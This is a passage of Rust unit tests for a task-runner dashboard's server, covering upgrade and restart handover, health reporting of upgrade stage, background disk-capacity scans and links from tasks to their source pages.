24614            let view = health(State(ui.clone())).await.unwrap().0;
24615            let failure = serde_json::to_value(view.upgrade_request_error).unwrap();
24616            assert_eq!(failure, body);
24617        }
24618        assert_eq!(
24619            std::fs::read(updater::progress_path(home.path())).unwrap(),
24620            before
24621        );
24622        assert!(!ui.lock_loop().live.as_ref().unwrap().stop.stopped());
24623        assert!(!ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst));
24624        // A conflicting request must not erase the actionable earlier failure.
24625        let gate = ui.upgrade_gate.lock().await;
24626        assert_eq!(
24627            upgrade_post(State(ui.clone())).await.status(),
24628            StatusCode::CONFLICT
24629        );
24630        drop(gate);
24631        assert!(
24632            health(State(ui.clone()))
24633                .await
24634                .unwrap()
24635                .0
24636                .upgrade_request_error
24637                .is_some()
24638        );
24639        let out = upgrade_checked(&ui, "0.1.0".into(), Ok(None));
24640        assert_eq!(finish_upgrade_request(&ui, out).status(), StatusCode::OK);
24641        assert!(
24642            health(State(ui.clone()))
24643                .await
24644                .unwrap()
24645                .0
24646                .upgrade_request_error
24647                .is_none()
24648        );
24649        let live = ui.lock_loop().live.take().unwrap();
24650        live.stop.stop();
24651        live.handle.await.unwrap();
24652    }
24653
24654    #[tokio::test]
24655    async fn an_upgrade_after_a_finished_or_failed_one_is_allowed() {
24656        use crate::updater::Stage;
24657        let repo = TempDir::new().expect("repo dir");
24658        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
24659            .expect("write magi.toml");
24660        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
24661        for stage in [Stage::Done, Stage::Failed] {
24662            crate::updater::write_progress(fx.home.path(), &seeded_progress(stage)).expect("seed");
24663            let res = fx.post("/api/upgrade", None).await;
24664            assert_eq!(res.status, 200, "{stage:?}");
24665        }
24666        // No record at all, and the gate was released by the earlier calls.
24667        let _ = std::fs::remove_file(crate::updater::progress_path(fx.home.path()));
24668        assert_eq!(fx.post("/api/upgrade", None).await.status, 200);
24669    }
24670
24671    #[tokio::test]
24672    async fn an_upgrade_with_nothing_to_install_changes_nothing() {
24673        // `[update] mode = "off"` so `updater::Checker::new` returns `None`
24674        // and the route answers from its own logic.
24675        //
24676        // This test used to lean on the fixture's placeholder repo failing
24677        // config discovery, which left `mode = "notify"` - and a live,
24678        // unauthenticated call to the GitHub releases API inside a unit test.
24679        // GitHub allows 60 of those an hour per address, so the suite went red
24680        // on `macos-latest` and nowhere else, in bursts, and stayed red for as
24681        // long as somebody kept re-running it: every attempt spent another
24682        // request. Six reruns across four pull requests were charged to that
24683        // before it was read as a rate limit rather than a flake.
24684        //
24685        // What the assertion is about is the "already current" branch, which
24686        // is reached by there being no newer release *or* nowhere to look. The
24687        // second one needs no network and cannot be rate limited.
24688        let repo = TempDir::new().expect("repo dir");
24689        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
24690            .expect("write magi.toml");
24691        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
24692
24693        // It must answer 200 and leave the process alone: restarting for an
24694        // upgrade that did not happen parks the run in flight and drops every
24695        // connection to pay for nothing. A probe against a deck already on the
24696        // newest build did exactly that, which is how this case got its own
24697        // branch.
24698        let res = fx.post("/api/upgrade", None).await;
24699        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
24700        let body = res.json();
24701        assert!(body["to"].is_null(), "there was no release to move to");
24702        assert!(body["parked"].is_null(), "and nothing was parked");
24703        assert!(
24704            body["detail"]
24705                .as_str()
24706                .unwrap()
24707                .contains("nothing restarted"),
24708            "{body:?}"
24709        );
24710    }
24711
24712    async fn wait_for_disk_scan(state: &Arc<Mutex<DiskObservation>>) {
24713        tokio::time::timeout(Duration::from_secs(5), async {
24714            while state.lock().unwrap().in_flight {
24715                tokio::task::yield_now().await;
24716            }
24717        })
24718        .await
24719        .expect("capacity scan finished");
24720    }
24721
24722    fn disk_test_scope(home: &FsPath) -> DiskScope {
24723        DiskScope {
24724            runs: home.join("runs"),
24725            worktrees: home.join("worktrees"),
24726            cache: Some(home.join("cache")),
24727        }
24728    }
24729
24730    fn known_disk_capacity() -> DiskCapacity {
24731        DiskCapacity {
24732            free_bytes: Some(100),
24733            runs_bytes: Some(200),
24734            worktrees_bytes: Some(300),
24735            cache_bytes: Some(400),
24736        }
24737    }
24738
24739    #[tokio::test]
24740    async fn health_disk_cold_and_concurrent_requests_do_not_wait_for_capacity() {
24741        let home = TempDir::new().unwrap();
24742        std::fs::write(home.path().join("magi.toml"), "[update]\nmode = \"off\"\n").unwrap();
24743        let mut ui = delta_test_ui(home.path());
24744        let state = Arc::get_mut(&mut ui).unwrap();
24745        state.repo = home.path().to_owned();
24746        state.worktrees_root = home.path().join("worktrees");
24747        *ui.monitor.latest.lock().unwrap() = Some(((0, 0, 0, 0, 0, 0), Default::default()));
24748        ui.monitor
24749            .worker_started
24750            .store(true, std::sync::atomic::Ordering::SeqCst);
24751        let cfg = deputy_config(&ui.repo);
24752        let scope = DiskScope::of(&ui, cfg.as_ref());
24753        let (started, reached) = tokio::sync::oneshot::channel();
24754        let (release, blocked) = std::sync::mpsc::channel();
24755        let cold = DiskObservation::observe(&ui.monitor.disk, scope, move |_| {
24756            started.send(()).unwrap();
24757            // A failed request assertion must also let the blocking worker exit.
24758            let _ = blocked.recv();
24759            known_disk_capacity()
24760        });
24761        assert!(cold.runs_bytes.is_none());
24762        tokio::time::timeout(Duration::from_secs(5), reached)
24763            .await
24764            .unwrap()
24765            .unwrap();
24766
24767        let requests: Vec<_> = (0..4)
24768            .map(|_| {
24769                let ui = ui.clone();
24770                tokio::spawn(async move { health(State(ui)).await.unwrap().0 })
24771            })
24772            .collect();
24773        // This is a causal independence check, not a five-second latency
24774        // benchmark. Leave room for unrelated filesystem/thread contention
24775        // when the entire unit suite runs concurrently.
24776        let completed = tokio::time::timeout(Duration::from_secs(60), async {
24777            for request in requests {
24778                let view = request.await.unwrap();
24779                let disk = serde_json::to_value(view.disk).unwrap();
24780                assert!(disk["runs_bytes"].is_null());
24781                assert!(disk["worktrees_bytes"].is_null());
24782                // Free space is a cheap live observation even while the
24783                // recursive capacity measurement remains blocked.
24784                assert!(disk["free_bytes"].is_u64());
24785            }
24786        })
24787        .await;
24788        if completed.is_err() {
24789            release.send(()).unwrap();
24790            wait_for_disk_scan(&ui.monitor.disk).await;
24791            panic!("health must return while the measurement is causally blocked");
24792        }
24793        assert!(ui.monitor.disk.lock().unwrap().in_flight);
24794        // No competing worker can have published while the first holds flight.
24795        assert!(
24796            ui.monitor
24797                .disk
24798                .lock()
24799                .unwrap()
24800                .capacity
24801                .runs_bytes
24802                .is_none()
24803        );
24804        release.send(()).unwrap();
24805        wait_for_disk_scan(&ui.monitor.disk).await;
24806        assert_eq!(
24807            ui.monitor.disk.lock().unwrap().capacity.runs_bytes,
24808            Some(200)
24809        );
24810    }
24811
24812    #[tokio::test]
24813    async fn health_disk_refresh_retains_successes_and_cadence_starts_at_completion() {
24814        let home = TempDir::new().unwrap();
24815        let scope = disk_test_scope(home.path());
24816        let state = Arc::new(Mutex::new(DiskObservation {
24817            scope: Some(scope.clone()),
24818            capacity: known_disk_capacity(),
24819            finished: Some(std::time::Instant::now() - DISK_REFRESH * 2),
24820            ..Default::default()
24821        }));
24822        let (started, reached) = tokio::sync::oneshot::channel();
24823        let (release, blocked) = std::sync::mpsc::channel();
24824        let before = DiskObservation::observe(&state, scope.clone(), move |_| {
24825            started.send(()).unwrap();
24826            blocked.recv().unwrap();
24827            DiskCapacity {
24828                runs_bytes: Some(250),
24829                ..Default::default()
24830            }
24831        });
24832        assert_eq!(before.cache_bytes, Some(400));
24833        tokio::time::timeout(Duration::from_secs(5), reached)
24834            .await
24835            .unwrap()
24836            .unwrap();
24837        let duplicate_scans = Arc::new(std::sync::atomic::AtomicUsize::new(0));
24838        for _ in 0..4 {
24839            let scans = duplicate_scans.clone();
24840            let during = DiskObservation::observe(&state, scope.clone(), move |_| {
24841                scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
24842                DiskCapacity::default()
24843            });
24844            assert_eq!(during.runs_bytes, Some(200));
24845            assert_eq!(during.cache_bytes, Some(400));
24846        }
24847        release.send(()).unwrap();
24848        wait_for_disk_scan(&state).await;
24849        let scans = duplicate_scans.clone();
24850        let after = DiskObservation::observe(&state, scope, move |_| {
24851            scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
24852            DiskCapacity::default()
24853        });
24854        wait_for_disk_scan(&state).await;
24855        assert_eq!(after.runs_bytes, Some(250));
24856        assert_eq!(after.free_bytes, Some(100));
24857        assert_eq!(after.cache_bytes, Some(400));
24858        assert_eq!(duplicate_scans.load(std::sync::atomic::Ordering::SeqCst), 0);
24859        assert!(state.lock().unwrap().finished.unwrap().elapsed() < DISK_REFRESH);
24860    }
24861
24862    #[tokio::test]
24863    async fn health_disk_changed_scope_never_publishes_the_previous_cache() {
24864        let home = TempDir::new().unwrap();
24865        let old_scope = disk_test_scope(home.path());
24866        let mut new_scope = old_scope.clone();
24867        new_scope.cache = Some(home.path().join("replacement-cache"));
24868        let state = Arc::new(Mutex::new(DiskObservation {
24869            scope: Some(old_scope.clone()),
24870            capacity: known_disk_capacity(),
24871            ..Default::default()
24872        }));
24873        let (started, reached) = tokio::sync::oneshot::channel();
24874        let (release, blocked) = std::sync::mpsc::channel();
24875        DiskObservation::observe(&state, old_scope, move |_| {
24876            started.send(()).unwrap();
24877            blocked.recv().unwrap();
24878            known_disk_capacity()
24879        });
24880        tokio::time::timeout(Duration::from_secs(5), reached)
24881            .await
24882            .unwrap()
24883            .unwrap();
24884        let duplicate_scans = Arc::new(std::sync::atomic::AtomicUsize::new(0));
24885        let scans = duplicate_scans.clone();
24886        let changed = DiskObservation::observe(&state, new_scope.clone(), move |_| {
24887            scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
24888            DiskCapacity::default()
24889        });
24890        assert!(changed.cache_bytes.is_none());
24891        assert!(changed.runs_bytes.is_none());
24892        release.send(()).unwrap();
24893        wait_for_disk_scan(&state).await;
24894        {
24895            let observation = state.lock().unwrap();
24896            assert!(observation.capacity.cache_bytes.is_none());
24897            assert!(observation.finished.is_none());
24898        }
24899        DiskObservation::observe(&state, new_scope.clone(), move |scope| {
24900            assert_eq!(scope, &new_scope);
24901            DiskCapacity {
24902                cache_bytes: Some(999),
24903                ..Default::default()
24904            }
24905        });
24906        wait_for_disk_scan(&state).await;
24907        assert_eq!(state.lock().unwrap().capacity.cache_bytes, Some(999));
24908        assert_eq!(duplicate_scans.load(std::sync::atomic::Ordering::SeqCst), 0);
24909    }
24910
24911    #[tokio::test]
24912    async fn health_disk_panicked_worker_releases_flight_and_retries_after_cadence() {
24913        let home = TempDir::new().unwrap();
24914        let scope = disk_test_scope(home.path());
24915        let state = Arc::new(Mutex::new(DiskObservation {
24916            scope: Some(scope.clone()),
24917            capacity: known_disk_capacity(),
24918            ..Default::default()
24919        }));
24920        DiskObservation::observe(&state, scope.clone(), |_| panic!("capacity worker failure"));
24921        wait_for_disk_scan(&state).await;
24922        {
24923            let mut observation = state.lock().unwrap();
24924            assert_eq!(observation.capacity.cache_bytes, Some(400));
24925            assert!(observation.finished.unwrap().elapsed() < DISK_REFRESH);
24926            observation.finished = Some(std::time::Instant::now() - DISK_REFRESH);
24927        }
24928        DiskObservation::observe(&state, scope, |_| DiskCapacity {
24929            cache_bytes: Some(450),
24930            ..Default::default()
24931        });
24932        wait_for_disk_scan(&state).await;
24933        assert_eq!(state.lock().unwrap().capacity.cache_bytes, Some(450));
24934    }
24935
24936    #[test]
24937    fn health_disk_capacity_counts_empty_and_missing_without_following_links() {
24938        let home = TempDir::new().unwrap();
24939        assert_eq!(disk_capacity_size(&home.path().join("missing")), Some(0));
24940        assert_eq!(disk_capacity_size(home.path()), Some(0));
24941        std::fs::create_dir(home.path().join("nested")).unwrap();
24942        std::fs::write(home.path().join("nested/data"), b"12345").unwrap();
24943        assert_eq!(disk_capacity_size(home.path()), Some(5));
24944        #[cfg(unix)]
24945        {
24946            // Unix distinguishes an invalid descendant lookup from absence.
24947            assert_eq!(
24948                disk_capacity_size(&home.path().join("nested/data/child")),
24949                None
24950            );
24951        }
24952        #[cfg(unix)]
24953        {
24954            std::os::unix::fs::symlink(home.path(), home.path().join("nested/link")).unwrap();
24955            assert_eq!(disk_capacity_size(home.path()), Some(5));
24956        }
24957    }
24958
24959    #[tokio::test]
24960    async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
24961        // `mode = "off"` for the same reason as the test above: a default
24962        // fixture repo falls back to `mode = "notify"`, which would make this
24963        // route's new `update` field a live, unauthenticated GitHub call on
24964        // every assertion in this suite that happens to hit `/api/health`.
24965        let repo = TempDir::new().expect("repo dir");
24966        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
24967            .expect("write magi.toml");
24968        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
24969
24970        let health = fx.get("/api/health").await.json();
24971        assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
24972        assert_eq!(
24973            health["update"]["available"], false,
24974            "checking is off, which reads as \"unknown\", not \"none\""
24975        );
24976        assert!(health["update"]["to"].is_null());
24977        assert!(
24978            health["upgrade"].is_null(),
24979            "nothing has ever asked this deck to upgrade"
24980        );
24981    }
24982
24983    #[tokio::test]
24984    async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
24985        let fx = Fixture::start().await;
24986        write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
24987
24988        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
24989        progress.parked_run = Some("20260905-000000-cd51".to_owned());
24990        progress.advance(crate::updater::Stage::Parking);
24991        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
24992
24993        let health = fx.get("/api/health").await.json();
24994        assert_eq!(health["upgrade"]["stage"], "parking");
24995        assert_eq!(health["upgrade"]["from"], "0.5.1");
24996        assert_eq!(health["upgrade"]["to"], "0.5.2");
24997        let waiting_on = health["upgrade"]["waiting_on"]
24998            .as_str()
24999            .expect("waiting_on is set while parking a known run");
25000        assert!(waiting_on.contains("cd51"), "{waiting_on}");
25001        assert!(waiting_on.contains("implementing"), "{waiting_on}");
25002    }
25003
25004    #[tokio::test]
25005    async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
25006        let fx = Fixture::start().await;
25007        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
25008        progress.advance(crate::updater::Stage::Done);
25009        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
25010
25011        let health = fx.get("/api/health").await.json();
25012        assert_eq!(health["upgrade"]["stage"], "done");
25013        assert!(
25014            health["upgrade"]["waiting_on"].is_null(),
25015            "nothing to wait on once it is done"
25016        );
25017    }
25018
25019    /// The handover signal is seen however the race falls, and wakes its one
25020    /// waiter once per signal - nothing here can spin.
25021    #[tokio::test]
25022    async fn the_handover_signal_wakes_one_waiter_once() {
25023        let signal = Notify::new();
25024        // Signalled before anyone waits: the stored permit is not lost.
25025        signal.notify_one();
25026        tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
25027            .await
25028            .expect("an early signal is still seen");
25029        // One signal, one wake-up: a second wait does not resolve by itself.
25030        assert!(
25031            tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
25032                .await
25033                .is_err(),
25034            "a consumed signal must not wake a second time"
25035        );
25036        // Signalled while waiting.
25037        let signal = std::sync::Arc::new(signal);
25038        let waiter = tokio::spawn({
25039            let signal = std::sync::Arc::clone(&signal);
25040            async move { wait_for_handover(&signal).await }
25041        });
25042        tokio::time::sleep(Duration::from_millis(20)).await;
25043        assert!(!waiter.is_finished(), "nothing was signalled yet");
25044        signal.notify_one();
25045        tokio::time::timeout(Duration::from_secs(5), waiter)
25046            .await
25047            .expect("a late signal wakes the waiter")
25048            .expect("join");
25049    }
25050
25051    #[tokio::test]
25052    async fn health_says_how_long_a_handover_has_been_stuck() {
25053        let fx = Fixture::start().await;
25054        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
25055        progress.advance(crate::updater::Stage::Replaced);
25056        progress.updated_at = Timestamp::now() - Duration::from_secs(600);
25057        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
25058
25059        let health = fx.get("/api/health").await.json();
25060        let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
25061        assert!(stuck >= 600, "{stuck}");
25062        assert_eq!(health["upgrade"]["stuck_kind"], "never_entered");
25063        assert!(health["upgrade"]["waiting_on"].as_str().is_some());
25064    }
25065
25066    #[tokio::test]
25067    async fn a_second_replaced_write_cannot_pull_a_parking_handover_back() {
25068        let home = tempfile::tempdir().expect("temp home");
25069        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
25070        progress.advance(crate::updater::Stage::Parking);
25071        crate::updater::write_progress(home.path(), &progress).expect("seed");
25072        // What the second upgrade_and_restart and its handler do.
25073        let mut again = progress.clone();
25074        again.advance(crate::updater::Stage::Replaced);
25075        crate::updater::write_progress(home.path(), &again).expect("replaced");
25076        let fresh = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
25077        crate::updater::write_progress(home.path(), &fresh).expect("downloading");
25078        let after = crate::updater::read_progress(home.path()).expect("record");
25079        assert_eq!(after.stage, crate::updater::Stage::Parking);
25080    }
25081
25082    #[tokio::test]
25083    async fn health_does_not_call_a_live_parking_wait_stuck() {
25084        let fx = Fixture::start().await;
25085        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
25086        progress.parked_run = Some("20260905-000000-cd51".to_owned());
25087        progress.advance(crate::updater::Stage::Parking);
25088        let hours = Duration::from_secs(3 * 3600);
25089        progress.started_at = Timestamp::now() - hours;
25090        progress.updated_at = Timestamp::now() - hours;
25091        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
25092        let _lease = crate::updater::LeaseGuard::enter(
25093            fx.home.path(),
25094            Some("20260905-000000-cd51".to_owned()),
25095        );
25096
25097        let health = fx.get("/api/health").await.json();
25098        assert!(health["upgrade"]["stuck_for_secs"].is_null(), "{health}");
25099        assert!(health["upgrade"]["stuck_kind"].is_null());
25100        assert_eq!(health["upgrade"]["handover_alive"], true);
25101        let waiting_on = health["upgrade"]["waiting_on"]
25102            .as_str()
25103            .expect("waiting_on");
25104        assert!(waiting_on.contains("cd51"), "{waiting_on}");
25105    }
25106
25107    fn idle_ui(home: &TempDir) -> Ui {
25108        let runs = home.path().join("runs");
25109        std::fs::create_dir_all(&runs).expect("runs dir");
25110        Ui::new(
25111            Queue::at(home.path().join("queue")),
25112            Questions::at(home.path().join("questions")),
25113            Talks::at(home.path().join("talks")),
25114            runs,
25115            home.path().to_path_buf(),
25116            PathBuf::from("/repo/magi"),
25117        )
25118        .with_launch(launch_idle)
25119    }
25120
25121    #[tokio::test]
25122    async fn start_during_scheduler_stop_is_busy_and_preserves_the_stop() {
25123        let home = TempDir::new().expect("temp home");
25124        let ui = idle_ui(&home);
25125        let lease = crate::worker::try_lease(home.path(), "scheduler")
25126            .expect("scheduler lease")
25127            .expect("free");
25128        crate::worker::request(home.path(), "scheduler", crate::worker::Control::Stop)
25129            .expect("request stop");
25130        let error = ui
25131            .start_detached_loop()
25132            .await
25133            .expect_err("transition is still live");
25134        assert_eq!(error.status, StatusCode::CONFLICT);
25135        assert!(error.message.contains("still running or stopping"));
25136        assert_eq!(
25137            crate::worker::control(home.path(), "scheduler").unwrap(),
25138            Some(crate::worker::Control::Stop)
25139        );
25140        drop(lease);
25141    }
25142
25143    #[tokio::test]
25144    async fn handover_releases_listener_without_waiting_for_execution_leases() {
25145        let home = TempDir::new().expect("temp home");
25146        let ui = idle_ui(&home);
25147        let turns = ui
25148            .begin_talk_turn("active-chat")
25149            .expect("claim")
25150            .expect("free");
25151        let execution = crate::worker::try_lease(home.path(), "active-task")
25152            .expect("execution lease")
25153            .expect("free");
25154        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
25155            .await
25156            .expect("bind loopback");
25157        let address = listener.local_addr().expect("address");
25158        let admissions = Arc::clone(&ui.admissions);
25159        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
25160        let successor_started = std::sync::atomic::AtomicBool::new(false);
25161        tokio::time::timeout(
25162            Duration::from_secs(2),
25163            hand_over(home.path(), &admissions, served, || {
25164                successor_started.store(true, std::sync::atomic::Ordering::SeqCst);
25165                Ok(1)
25166            }),
25167        )
25168        .await
25169        .expect("restart must not wait for execution")
25170        .expect("handover");
25171        assert!(successor_started.load(std::sync::atomic::Ordering::SeqCst));
25172        // BSD may retain the address briefly after listener release. The real
25173        // successor uses the same bounded bind retry rather than a one-shot bind.
25174        let successor = bind_waiting(address)
25175            .await
25176            .expect("successor binds released address");
25177        assert_eq!(successor.local_addr().unwrap(), address);
25178        assert!(turns.owns(), "the chat lease survives restart");
25179        assert!(
25180            crate::worker::try_lease(home.path(), "active-task")
25181                .unwrap()
25182                .is_none()
25183        );
25184        drop(execution);
25185        drop(turns);
25186    }
25187
25188    #[tokio::test]
25189    async fn handover_drains_admission_but_never_waits_for_the_chat_turn() {
25190        let home = TempDir::new().expect("temp home");
25191        let ui = idle_ui(&home);
25192        let admission = ui.begin_admission().expect("admit send");
25193        let turn = ui
25194            .begin_talk_turn("active-chat")
25195            .expect("claim")
25196            .expect("free");
25197        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
25198            .await
25199            .expect("bind loopback");
25200        let address = listener.local_addr().expect("address");
25201        let served = tokio::spawn(axum::serve(listener, ui.clone().router()).into_future());
25202        let successor_called = std::sync::atomic::AtomicBool::new(false);
25203        let handover = hand_over(home.path(), &ui.admissions, served, || {
25204            successor_called.store(true, std::sync::atomic::Ordering::SeqCst);
25205            Ok(1)
25206        });
25207        tokio::pin!(handover);
25208        // Poll exactly to the writer waiting on our admission guard. This
25209        // pins the race without sleeps or assumptions about task scheduling.
25210        std::future::poll_fn(|cx| {
25211            assert!(std::future::Future::poll(handover.as_mut(), cx).is_pending());
25212            std::task::Poll::Ready(())
25213        })
25214        .await;
25215        assert!(!successor_called.load(std::sync::atomic::Ordering::SeqCst));
25216        assert!(
25217            ui.begin_admission().is_err(),
25218            "new ingress cannot race the drain"
25219        );
25220        assert_eq!(request(address, "GET", "/api/loop", None).await.status, 200);
25221        drop(admission);
25222        tokio::time::timeout(Duration::from_secs(2), handover)
25223            .await
25224            .expect("only publication may delay restart")
25225            .expect("handover");
25226        assert!(successor_called.load(std::sync::atomic::Ordering::SeqCst));
25227        assert!(
25228            turn.owns(),
25229            "the detached chat turn is not awaited or cancelled"
25230        );
25231        assert!(
25232            ui.begin_admission().is_err(),
25233            "old accepted connections stay closed"
25234        );
25235        drop(turn);
25236    }
25237
25238    #[test]
25239    fn health_worker_metadata_never_contains_payload_or_result() {
25240        let view = WorkerView::from(crate::worker::Job {
25241            id: "job".into(),
25242            sequence: 1,
25243            kind: "service".into(),
25244            key: "maintenance".into(),
25245            payload: serde_json::json!({"env": {"TOKEN": "private"}}),
25246            generation: "generation".into(),
25247            version: Some("1.2.3".into()),
25248            status: crate::worker::Status::Running,
25249            result: Some("private diagnostics".into()),
25250            pid: Some(4242),
25251            created_at: 1,
25252            finished_at: None,
25253        });
25254        let value = serde_json::to_value(view).expect("serialize public metadata");
25255        assert_eq!(value["version"], "1.2.3");
25256        assert_eq!(value["pid"], 4242);
25257        assert!(value.get("payload").is_none());
25258        assert!(value.get("result").is_none());
25259        assert!(!value.to_string().contains("private"));
25260    }
25261
25262    #[test]
25263    fn upgraded_scheduler_remains_owned_by_a_replacement_web() {
25264        let home = TempDir::new().expect("temp home");
25265        let ui = idle_ui(&home);
25266        std::fs::write(
25267            home.path().join("daemon.json"),
25268            serde_json::json!({
25269                "schema": 2, "pid": 4242, "worker_protocol": 1,
25270                "updated_at": Timestamp::now().to_string(), "idle": true,
25271            })
25272            .to_string(),
25273        )
25274        .expect("status");
25275        let reading = daemon::read_status(home.path());
25276        assert!(Foreign::of(reading.as_ref()).is_none());
25277        let view = ui.runtime_loop_view(reading, &[]);
25278        assert!(view.running);
25279        assert!(view.owned);
25280    }
25281
25282    #[test]
25283    fn only_an_explicit_one_requests_a_resume() {
25284        assert!(!resume_requested(None));
25285        assert!(!resume_requested(Some("0".into())));
25286        assert!(!resume_requested(Some("".into())));
25287        assert!(resume_requested(Some("1".into())));
25288    }
25289
25290    #[test]
25291    fn an_error_is_visible_from_where_the_button_is() {
25292        // The alert used to sit in the flow under the header. On a phone
25293        // scrolled 13 500 px down to a run's action sheet that is off screen,
25294        // so tapping Resume and being told "the loop is running run b455
25295        // right now" looked exactly like a button that did nothing.
25296        let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
25297            ..APP_CSS.find(".alert-text").expect(".alert-text")];
25298        assert!(
25299            alert.contains("position: fixed"),
25300            "an error about the thing under your thumb has to be visible from \
25301             where your thumb is: {alert}"
25302        );
25303        assert!(
25304            alert.contains("z-index: 25"),
25305            "above the dock (20) and the run-actions FAB (15), so neither \
25306             buries it: {alert}"
25307        );
25308        assert!(
25309            alert.contains("var(--tap)"),
25310            "and clear of the dock and the home indicator: {alert}"
25311        );
25312        // The FAB sits at the same height on the right. An error that covered
25313        // it would hide the button the operator reaches for next.
25314        assert!(
25315            alert.contains("var(--s4) + var(--tap) + var(--s3)"),
25316            "the FAB's column stays free: {alert}"
25317        );
25318    }
25319
25320    #[tokio::test]
25321    async fn an_older_attempt_says_what_replaced_it() {
25322        let fx = Fixture::start().await;
25323        let q = fx.queue();
25324        let runs = fx.runs();
25325        let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
25326        write_run(&runs, first, RunStatus::Stalled);
25327        write_run(&runs, second, RunStatus::Blocked);
25328
25329        let mut t = Task::new(
25330            "one task".to_owned(),
25331            "do it".to_owned(),
25332            PathBuf::from("/repo"),
25333            Source::Human,
25334        );
25335        t.runs = vec![first.to_owned(), second.to_owned()];
25336        q.put(&mut t).expect("put");
25337
25338        // Two cards with the same title and no hint which is which was the
25339        // question: "why are there two of the same, one stalled and one
25340        // blocked?" The older one now names its replacement.
25341        let rows = fx.get("/api/runs").await.json();
25342        let by = |short: &str| -> Value {
25343            rows.as_array()
25344                .unwrap()
25345                .iter()
25346                .find(|r| r["short"] == short)
25347                .cloned()
25348                .unwrap_or(Value::Null)
25349        };
25350        assert_eq!(by("aaaa")["superseded_by"], "bbbb");
25351        assert!(
25352            by("bbbb")["superseded_by"].is_null(),
25353            "the latest attempt is not superseded by anything"
25354        );
25355        // Front end: the note has to be rendered, not just carried.
25356        assert!(APP_JS.contains("run.superseded_by"));
25357        assert!(APP_JS.contains("Superseded by"));
25358    }
25359
25360    fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
25361        let mut t = Task::new(
25362            "one task".to_owned(),
25363            "do it".to_owned(),
25364            PathBuf::from("/repo"),
25365            Source::Human,
25366        );
25367        t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
25368        t.status = status;
25369        t
25370    }
25371
25372    #[test]
25373    fn source_link_picks_the_page_that_filed_the_task() {
25374        let agent = |node: &str| Source::Agent {
25375            run: "20260904-014455-ab12".to_owned(),
25376            node: node.to_owned(),
25377        };
25378        let chat = source_link(&agent("chat")).expect("chat link");
25379        assert_eq!(chat.kind, "chat");
25380        assert_eq!(chat.id, "20260904-014455-ab12");
25381        assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
25382        let run = source_link(&agent("implement")).expect("run link");
25383        assert_eq!(
25384            (run.kind, run.href.as_str()),
25385            ("run", "#/runs/20260904-014455-ab12")
25386        );
25387        assert_eq!(source_link(&Source::Human), None);
25388        assert_eq!(
25389            source_link(&Source::Issue {
25390                number: 3,
25391                repo: "o/r".to_owned()
25392            }),
25393            None
25394        );
25395        let odd = source_link(&Source::Agent {
25396            run: "a b/c".to_owned(),
25397            node: "chat".to_owned(),
25398        })
25399        .expect("link");
25400        assert_eq!(odd.href, "#/chat/a%20b%2Fc");
25401    }
25402
25403    #[test]
25404    fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
25405        assert!(
25406            !APP_JS.contains("src.node === \"chat\""),
25407            "inline href rule is back"
25408        );
25409        assert!(
25410            APP_JS.matches("sourceLinkOf(").count() >= 4,
25411            "helper must serve every page"
25412        );
25413        assert!(
25414            APP_JS.matches("openChatLink(").count() >= 3,
25415            "the run page still needs its explicit chat link"
25416        );
25417        assert!(
25418            !APP_JS.contains("const openChat = el("),
25419            "the Queue card duplicates its source label link again"
25420        );
25421        assert!(
25422            APP_JS.contains("metaKids.push(link ? el(\"a\""),
25423            "the task page must link a chat source label too"
25424        );
25425    }
25426
25427    #[test]
25428    fn task_ref_carries_the_source_link_for_a_chat_task() {
25429        let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
25430        t.source = Source::Agent {
25431            run: "20260904-014455-ab12".to_owned(),
25432            node: "chat".to_owned(),
25433        };
25434        let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
25435        let v = serde_json::to_value(&out).expect("json");
25436        assert_eq!(v["source_link"]["kind"], "chat", "{v}");
25437        assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
25438        assert_eq!(v["source_label"], t.source.label());
25439
25440        let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
25441        let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
25442            .expect("json");
25443        assert!(v["source_link"].is_null(), "{v}");
25444    }
25445
25446    #[test]
